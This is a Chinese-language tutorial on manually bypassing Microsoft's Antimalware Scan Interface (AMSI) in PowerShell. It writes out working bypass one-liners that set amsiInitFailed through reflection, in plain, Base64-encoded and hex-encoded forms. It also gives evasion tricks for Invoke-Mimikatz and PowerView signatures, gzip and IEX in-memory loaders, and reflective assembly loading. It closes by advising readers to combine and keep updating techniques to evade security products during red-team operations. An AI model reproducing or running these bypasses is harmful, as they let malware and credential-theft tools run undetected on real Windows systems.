手工绕过 AMSI - 第一部分
字数 1261 2025-08-20 18:17:58
手工绕过AMSI检测规则详细指南
0x00 AMSI简介
Antimalware Scan Interface (AMSI)是微软推出的一个接口,用于检测和阻止恶意程序/脚本在内存中的加载。AMSI应用于以下Windows组件:
- 用户账户控制(UAC)
- PowerShell(脚本、交互式使用和动态代码评测)
- Windows主机脚本(wscript.exe和cscript.exe)
- JavaScript和VBScript
- Office VBA宏
0x01 经典AMSI绕过方法
Matt Graeber在2016年提出的经典绕过方法:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
原理:通过给amsiInitFailed对象赋予true值,使AMSI初始化失败,从而避免扫描。
0x02 为什么要手动绕过而非自动混淆
自动混淆工具(如Invoke-Obfuscation或ISE-Steroids)的局限性:
- 开源混淆工具的特征已被安全厂商收录
- 混淆后文件体积显著增大(如Invoke-Mimikatz从3MB增至8MB)
- 不能保证100%绕过AMSI检测
手动绕过的优势:
- 更可靠,针对性更强
- 深入理解AMSI检测机制
- 可针对特定环境定制绕过方案
0x03 AMSI检测机制分析
AMSI主要通过以下方式检测恶意内容:
- 字符串匹配:检测特定关键字如
Invoke-Mimikatz、AmsiScanBuffer等 - 正则表达式模式:匹配特定代码模式
- 代码结构分析:检测可疑的代码组合
字符串检测绕过技巧
-
字符串拼接:
'Amsi' + 'Utils' 'amsiInit' + 'Failed' -
编码转换:
-
Base64编码:
[System.Convert]::ToBase64String([System.Text.Encoding]::UNICODE.GetBytes("AmsiUtils")) # 返回:QQBtAHMAaQBVAHQAaQBsAHMA # 运行时解码: [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')) -
HEX编码:
'AmsiUtils' | Format-Hex # 运行时解码: "41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result
-
-
变量名替换:
- 将
$base64binary改为$encodedbinary - 将
$s改为$a
- 将
-
大小写混合与反引号插入:
InV`OKe-Mim`iKaTz
正则表达式模式绕过
-
修改固定部分:
# 原代码: Get-DomainUser @UserSearcherArguments | Where-Object { $_.samaccountname -ne 'krbtgt' } # 修改后: Get-DomainUser @UserSearcherArguments | Where-Object { $_.samaccountname -ne 'kr'+'bt'+'gt' } -
添加换行符:
$a = New-Object IO.MemoryStream(,[Convert]::FromBase64String("H4sI[...snip...]AA==")); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($a,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
0x04 实用绕过技术实现
1. Base64编码绕过实现
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
2. HEX编码绕过实现
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
0x05 脚本预处理建议
-
删除所有注释:注释中可能包含触发AMSI的关键字
-
精简代码:移除不必要的代码段
-
使用工具辅助检测:
- AMSITrigger:识别脚本中的触发点
- 命令示例:
.\AMSITrigger.exe -i Powerview.ps1 -f 3
-
批量替换变量名:
find ./ -type f -print0 | xargs -0 sed -i "s/\$base64binary/\$encodedbinary/g"
0x06 高级绕过技术
-
加密技术应用:
- 使用AES或3DES加密敏感字符串
- 运行时解密执行
-
动态代码生成:
$code = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("BASE64编码的脚本内容")) Invoke-Expression $code -
反射加载:
$assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($encodedbinary))
0x07 结论与建议
- AMSI检测主要依赖字符串和正则模式匹配
- 简单的编码/加密和字符串操作可有效绕过大多数检测
- 不同AV厂商有不同的检测规则,需针对性测试
- 推荐组合使用多种技术提高绕过成功率
- 保持脚本简洁,移除不必要的内容
- 定期更新绕过技术,因为已知方法可能被加入检测规则
实用资源
- amsi.fail - 自动AMSI绕过工具
- AMSITrigger - AMSI触发点检测工具
- Invoke-Obfuscation - PowerShell脚本混淆框架
通过理解AMSI工作原理并掌握这些绕过技术,可以有效规避安全检测,在渗透测试和红队行动中提高成功率。